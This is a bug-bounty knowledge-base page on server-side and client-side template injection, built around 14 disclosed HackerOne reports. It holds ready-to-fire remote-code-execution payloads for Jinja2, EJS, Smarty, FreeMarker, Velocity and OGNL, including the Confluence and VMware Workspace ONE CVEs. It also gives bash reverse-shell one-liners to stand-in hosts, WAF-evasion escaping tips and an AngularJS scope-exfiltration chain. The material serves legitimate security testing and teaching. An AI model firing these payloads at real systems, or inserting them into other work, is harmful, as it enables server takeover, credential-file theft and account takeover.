⚠ Thin coverage — only 14 disclosed reports for this class; illustrative, not exhaustive.
Server-Side Template Injection (SSTI) happens when user input reaches a template engine's compile/eval path instead of its data path — so your string is parsed as template code and executed on the server, not rendered as an inert value. Engines mix a text template with a data context; the bug is feeding attacker text into the template half.
Because the template language exposes the host runtime (Python objects, the Node require graph, Java classes, PHP {php}), SSTI is a short hop from "my string renders" to "my code runs". Treat it as a near-universal RCE primitive — file read, command execution, full server compromise — not a reflection curiosity. Its client-side cousin CSTI (an AngularJS {{7*7}} that evaluates in the browser) shares the exact detection reflex and sandbox-escape mechanics, so it lives here too.
# One canary that tells XSS from SSTI in a single shot
kZ9x"'<>{{7*7}}${7*7}#{7*7}
# {{7*7}}/49 -> template engine (SSTI/CSTI); "'<> reflected raw -> pivot to XSS instead.
Send the fingerprint set and see which delimiter evaluates — that names the engine family.
Once a delimiter fires, confirm the exact engine before firing gadgets — the escalation path is engine-specific:
{{this}} <!-- [object Object] -> server-side JS templating -->
{{this.__proto__.constructor.name}} <!-- Object -> NodeJS confirmed -->
{$smarty.version} {* 3.x.x -> Smarty, and {php} tags may be live *}
Group by engine family — each exposes the host runtime differently.
{{ [].__class__.__base__.__subclasses__() }}
{{ ''.__class__.mro()[1].__subclasses__() }}
{# index the Popen subclass and run a command: #}
{{ ''.__class__.mro()[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}
{{this.__proto__.constructor.name}} <!-- Object -> escalate via constructor -> require -->
// @fastify/view reply.view({raw}) or Rails-style raw EJS: request string -> compile()
<%= require("child_process").execSync("id").toString() %>
<%= require("child_process").execSync("bash -i >& /dev/tcp/COLLAB/4444 0>&1") %>
{$smarty.version}
{php}$s = file_get_contents('/etc/passwd',NULL,NULL,0,100); var_dump($s);{/php}
# FreeMarker Execute gadget (VMware Workspace ONE deviceUdid, CVE-2022-22954)
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
# Velocity reflection -> Runtime.exec (unauthenticated Apache Solr, wt=velocity)
# $x must be defined first (#set($x='')) so $x.class.forName(...) resolves
GET /solr/CORE/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)%23set($rt=$x.class.forName(%27java.lang.Runtime%27))%20$rt.getRuntime().exec(%27id%27)
# OGNL -> ScriptEngineManager('JavaScript') -> ProcessBuilder (Confluence CVE-2021-26084)
# single quotes are Unicode-escaped to slip the OGNL keyword/WAF filter — send exactly this escaped form
queryString=aaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var p=new java.lang.ProcessBuilder();p.command(\u0022bash\u0022,\u0022-c\u0022,\u0022cat /etc/passwd\u0022);p.redirectErrorStream(true);p.start()\u0027)}%2b\u0027
// AngularJS 1.1.5 sandbox escape (delimiters remapped to [[ ]] here)
[[constructor.constructor('alert(document.cookie)')()]]
// No JS-exec needed: walk the scope, exfiltrate via an image GET
// {{7*7}} confirms; then read $$childHead/$$nextSibling and set a victim avatar src to //COLLAB/?d=<token>
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 14 in this class.
Real-world example
Confluence OGNL injection to RCE (CVE-2021-26084)
◆ Critical
Specimen #1327769 · deptofdefense · none · 39 votes · resolved
Program deptofdefenseSurface web
Root cause
doenterpagevariables.action evaluates the queryString value as OGNL; the expression instantiates a JS ScriptEngine and runs ProcessBuilder, giving RCE. Reachable unauthenticated when user signup is enabled.
Method
- POST to /pages/doenterpagevariables.action with an OGNL payload in queryString
- OGNL builds a JavaScript ScriptEngine and runs an OS command via ProcessBuilder
- Command output is reflected in the response value attribute
queryString=aaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).eval(\u0027var p=new java.lang.ProcessBuilder(); p.command(\u0022bash\u0022,\u0022-c\u0022,\u0022cat /etc/passwd\u0022); ...\u0027)}%2b\u0027
Insight — Expression-language injection (OGNL/SpEL/MVEL) escalates to RCE by pivoting through a scripting engine (ScriptEngineManager JavaScript) into ProcessBuilder; \u00XX-encode dots/quotes to slip past keyword filters.
Real-world example
Apache Solr unauth RCE via Velocity template injection
◆ Critical
Specimen #822002 · deptofdefense · none · 24 votes · resolved
Program deptofdefenseSurface web
Root cause
An exposed, unauthenticated Solr instance with the VelocityResponseWriter enabled lets a query supply an inline Velocity template (v.template.custom), which is rendered server-side and can reach java.lang.Runtime for command execution.
Method
- Find an internet-exposed Solr with no auth (port scan; /solr/ open)
- Confirm data access with q=*:*
- Enable/abuse wt=velocity and pass v.template.custom with a Velocity payload that reflects on java.lang.Runtime to exec commands
GET /solr/CORE/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)%20%23set($rt=$x.class.forName(%27java.lang.Runtime%27))%20%23set($chr=$x.class.forName(%27java.lang.Character%27))%20%23set($str=$x.class.forName(%27java.lang.String%27))%20%23set($ex=$rt.getRuntime().exec(%27id%27))%20$ex.waitFor()%20%23set($out=$ex.getInputStream())%20%23foreach($i%20in%20[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Insight — Unauthenticated Solr is a recurring RCE surface: Velocity template injection (VelocityResponseWriter) and the DataImportHandler script sink both give command exec. Always port-scan for Solr and test wt=velocity plus DIH.
Real-world example
Confluence OGNL injection RCE (CVE-2021-26084)
◆ Critical
Specimen #1327701 · deptofdefense · none · 18 votes · resolved
Program deptofdefenseSurface web
Root cause
The Confluence createpage-entervariables endpoint evaluates the queryString parameter as an OGNL expression, allowing an unauthenticated (when signup enabled) attacker to build a ScriptEngineManager/ProcessBuilder chain and run OS commands.
Method
- POST to /pages/createpage-entervariables.action?SpaceKey=x with an OGNL payload in queryString
- The payload builds a JavaScript ScriptEngine that runs ProcessBuilder with your command
- Command output is reflected back in the response value= attribute
POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1
Content-Type: application/x-www-form-urlencoded
queryString=aaaaaaaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var cmd=new java.lang.String(\u0022cat /etc/passwd\u0022);var p=new java.lang.ProcessBuilder();p.command(\u0022bash\u0022,\u0022-c\u0022,cmd);p.redirectErrorStream(true);var pr=p.start();...\u0027)}%2b\u0027
Insight — OGNL/expression-language sinks reflect command output in the response, so they double as blind-free RCE. Unicode-escape sensitive tokens (\u0027, \u0065val) to slip past keyword/WAF filters.
Real-world example
VMware Workspace ONE FreeMarker SSTI (CVE-2022-22954)
◆ Critical
Specimen #1537543 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webChain unauth SSTI -> FreeMarker Execute -> RCE / file read
Root cause
Unauthenticated FreeMarker server-side template injection in the Workspace ONE Access / Identity Manager catalog-portal: the deviceUdid parameter is evaluated as a template, allowing freemarker.template.utility.Execute to run OS commands.
Method
- GET the catalog-portal oauth verify endpoint
- URL-encode a FreeMarker Execute payload into the deviceUdid parameter
- Command output (e.g. /etc/passwd) is reflected in the error page / console.log tenant-code field
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
# url-encoded deviceUdid=%24%7b%22freemarker.template.utility.Execute%22%3f%6e%65%77%28%29%28%22cat%20%2fetc%2fpasswd%22%29%7d
Insight — Known-CVE hunting: fingerprint VMware Workspace ONE / Identity Manager and fire the FreeMarker Execute gadget at deviceUdid; output surfaces in the error page and in a console.log 'device id' field even on HTTP 400.
Real-world example
Handlebars SSTI in email templates -> NodeJS RCE
◆ High
Specimen #423541 · shopify · awarded · 409 votes · resolved
Program shopifySurface web
Root cause
User-editable email templates (Return Magic) were rendered server-side with Handlebars without sandboxing; {{this.__proto__.constructor}} traversal reaches require/process for NodeJS code execution.
Method
- Set a template value to {{this}} and send a test email; [object Object] confirms server-side templating
- Probe prototype chain: {{this.__proto__}}, {{this.__proto__.constructor.name}} -> Object (NodeJS)
- Build the Handlebars RCE gadget via constructor/require to exec commands (see referenced write-up)
{{this}}
{{this.__proto__}}
{{this.__proto__.constructor.name}}
// escalate to Handlebars RCE gadget: abuse constructor -> require('child_process')
Insight — Any place user input is echoed through an email/report template is an SSTI candidate. Fingerprint the engine with {{7*7}}/${7*7}/{7*7}, then walk __proto__.constructor in JS engines (Handlebars/Pug) to reach require.
Real-world example
Flask/Jinja2 SSTI in profile name
◆ High
Specimen #125980 · uber · 10000 · 136 votes · resolved
Program uberSurface web
Root cause
A profile name rendered through Flask/Jinja2 without sandboxing; {{7*7}} evaluates, and __class__.__base__.__subclasses__() traversal reaches Python objects for code execution (length-limited here).
Method
- Set profile name to {{ '7'*7 }}; confirmation email shows 7777777
- Enumerate classes via {{ [].__class__.__base__.__subclasses__() }}
- Reach a subclass exposing os/subprocess (Popen) to run commands
{{ '7'*7 }}
{{ [].__class__.__base__.__subclasses__() }}
{{ ''.__class__.mro()[1].__subclasses__() }}
{% for c in [1,2,3] %}{{c,c,c}}{% endfor %}
Insight — SSTI surfaces where user text is later rendered server-side (emails, PDFs, notifications), not only on the reflected page. Fingerprint with {{7*7}} vs {7*7} vs ${7*7}; in Jinja2 walk __class__.__mro__ / __subclasses__ to Popen. Watch for length limits on the input field.
Real-world example
Smarty SSTI via {php} tags -> PHP execution
◆ High
Specimen #164224 · unikrn · awarded · 122 votes · resolved
Program unikrnSurface web
Root cause
Profile fields were rendered by Smarty with {php} tags enabled, so raw PHP inside the template executes, giving file read and potential RCE.
Method
- Set name fields to {7*7}; templated email returns 49 (Smarty injection)
- Confirm engine/version with {$smarty.version}
- Execute PHP with {php}...{/php}: print, then file_get_contents('/etc/passwd')
- Trigger by inviting a friend so the template renders in the email
{$smarty.version}
{php}print "Hello";{/php}
{php}$s = file_get_contents('/etc/passwd',NULL,NULL,0,100); var_dump($s);{/php}
Insight — Smarty {7*7}->49 and {$smarty.version} are the tells; {php} tags (or registered modifiers) escalate to arbitrary PHP. Any profile field echoed into an invite/notification email is the delivery vector.
Real-world example
Blind SSTI in signup name rendered in welcome email
◆ High
Specimen #1104349 · glovo · none · 26 votes · resolved
Program glovoSurface web
Root cause
The First Name field from registration is embedded into a server-side email template unsanitized, so template syntax entered there is evaluated when the welcome/promotional email is generated.
Method
- Register with a template probe in the name field
- Wait for the automated welcome/promo email
- If {{7*7}} renders as 49 in the subject/body, the mail template engine evaluates user input
First Name: {{7*7}}
# email subject arrives: '49, welcome to Glovo!'
Insight — Profile fields (name, company) that later surface in transactional/marketing emails are an out-of-band SSTI surface; the render happens asynchronously in the mail pipeline, so probe and check the delivered email, not the HTTP response.
Real-world example
AngularJS client-side template injection exfiltrating scope via avatar URL
◆ Medium
Specimen #271960 · rockstargames · awarded · 15 votes · resolved
Program rockstargamesSurface webChain CSTI -> $scope read -> avatar-URL GET exfiltration of Tag account-takeover
Root cause
User input reflected into an AngularJS-bound DOM region is evaluated as an Angular expression (CSTI), giving access to the whole $scope; sensitive data (email, userid, tokens) can be read via childHead/nextSibling traversal and exfiltrated by rewriting a victim's avatar image URL to an attacker server (data leaves via a plain GET, no XSS needed).
Method
- Inject {{ }} Angular expression into a reflected field (here a search field) and confirm evaluation (e.g. {{7*7}})
- Walk the scope via $$childHead/$$nextSibling to reach user data (email/userid/token)
- Set the victim avatar/image src to https://attacker/?d=<data> so the browser leaks scope data over a GET
{{7*7}} // confirm CSTI
// then read scope and set an image URL to attacker host to exfil email/userid/token
Insight — CSTI is not only an XSS vector: even under Angular sandboxing you can read $scope and exfiltrate via any attribute that issues a request (img/avatar src). Test every reflected field with {{7*7}}/{{constructor...}} on Angular apps; ng-non-bindable is the fix. Programs may misclassify CSTI as reflected XSS.
Real-world example
Client-side template injection (AngularJS) via profile/address fields
◆ Low
Specimen #230232 · wordpress · awarded · 15 votes · resolved
Program wordpressSurface web
Root cause
User-controlled account/address fields are stored and later rendered inside an AngularJS-bound (ng-*) region, so {{...}} expressions are evaluated as template code — client-side template injection that can escalate toward XSS/sandbox escape.
Method
- Locate a page with ng-app/ng-bindable rendering user data
- Enter template expressions ({{1+1}}, {{1==1}}) into profile/address fields
- Reach the page that renders them (checkout) and confirm evaluation (2 / true)
{{1+1}}
{{1==1}}
(escalate with AngularJS sandbox-escape payloads to run JS)
Insight — Test stored fields with {{7*7}} anywhere data is later shown inside an Angular/Vue/Handlebars context. Evaluation to 49/true confirms CSTI; presence of ng-* attributes near your reflection is the tell. Portswigger's client-side template injection research applies.
Real-world example
RCE via raw template rendering (@fastify/view reply.view({raw}) + EJS)
◆ Info
Specimen #3122019 · fastify · none · 66 votes · resolved
Program fastifySurface webChain SSTI -> RCETag file-upload
Root cause
reply.view({ raw: <string> }) passes the string straight to EJS's compile(), so any user-controlled content rendered as a raw template executes arbitrary Node/OS code.
Method
- Find an endpoint that renders user-influenced content as a raw template (comments, filenames, email bodies)
- Inject an EJS scriptlet that calls child_process
- Trigger rendering -> command executes on the server
<%= require("child_process").execSync("id").toString() %>
// reverse shell
<%= require("child_process").execSync("bash -i >& /dev/tcp/ATTACKER/4444 0>&1") %>
Insight — Any framework primitive that renders raw/attacker-supplied strings as templates (raw:, renderString, compile on input) is SSTI->RCE. Grep server code for template compile calls fed by request data.
Real-world example
AngularJS client-side template injection (CSTI) to XSS/ATO
◆ Info
Specimen #141463 · drchrono · awarded · 20 votes · resolved
Program drchronoSurface webChain stored CSTI in referral contact -> admin views page ->Tag account-takeover
Root cause
User input stored in a field is later rendered inside an AngularJS-bound region, so template expressions are evaluated; on Angular 1.1.5 constructor.constructor escapes the expression sandbox to run arbitrary JS.
Method
- In a stored field enter a math expression to detect evaluation
- Confirm it computes (e.g. [[5*5]] renders 25) and read angular.version in console
- Submit a sandbox-escape payload; reload the page to trigger stored XSS
detect: [[5*5]] -> 25
exploit (Angular 1.1.5, {{}} interpolation remapped to [[ ]]): [[constructor.constructor('alert(document.cookie)')()]]
Insight — When a value is echoed inside an Angular app, test with the interpolation delimiters ({{7*7}} or [[7*7]]) - arithmetic evaluation means CSTI, not just reflected XSS. Then use the version-specific sandbox escape (constructor.constructor) to run JS. Low-priv stored input viewed by an admin -> full ATO.
Real-world example
Shopify Liquid Drop method exposure -> info disclosure / limited RCE
◆ Info
Specimen #98259 · shopify · USD 1500 · 6 votes · resolved
Program shopifySurface web
Root cause
Liquid templates in admin-editable areas (notification/checkout templates) expose real Ruby methods and properties of Drop objects, so a template author can call no-arg methods and read otherwise-hidden fields via to_yaml.
Method
- Edit an email/checkout Liquid template (e.g. New Order notification)
- Insert Liquid that enumerates and calls object methods
- Preview to render the output (leaks hidden fields such as password hashes)
{{ methods | json }}
{{ systemu }}
{{ class }}
{{ to_yaml }}
Insight — When testing template engines, enumerate the object graph: probes like {{ class }}, {{ methods }}, {{ to_yaml }} reveal exposed Ruby methods; to_yaml dumps hidden attributes. No-arg method access can escalate toward RCE if any dangerous method (systemu/instance_eval) is reachable.
Real-world example
Rails render inline: with user input -> ERB SSTI/RCE
◆ Info
Specimen #942103 · rails · none · 5 votes · resolved
Program railsSurface webTag supply-chain
Root cause
An endpoint passes a request parameter straight to `render inline: params[:content]`, which compiles and evaluates the string as an ERB template, so embedded Ruby executes on the server.
Method
- Find a response that reflects input where render inline / ERB.new / Liquid-style rendering is used
- Submit an ERB expression payload
- Observe server-side evaluation (command output / file effect)
# request param 'content':
<% `touch me` %>
# url-encoded:
%3C%25%20%60touch%20me%60%20%25%3E
Insight — Whenever user input reaches a template renderer (Rails render inline:, ERB.new, Jinja, Twig), test the language's expression syntax first (<%= 7*7 %>, {{7*7}}). Rails `render inline:` on any request-derived string is an immediate RCE primitive — grep controllers for `render inline:` / `render text:` fed by params.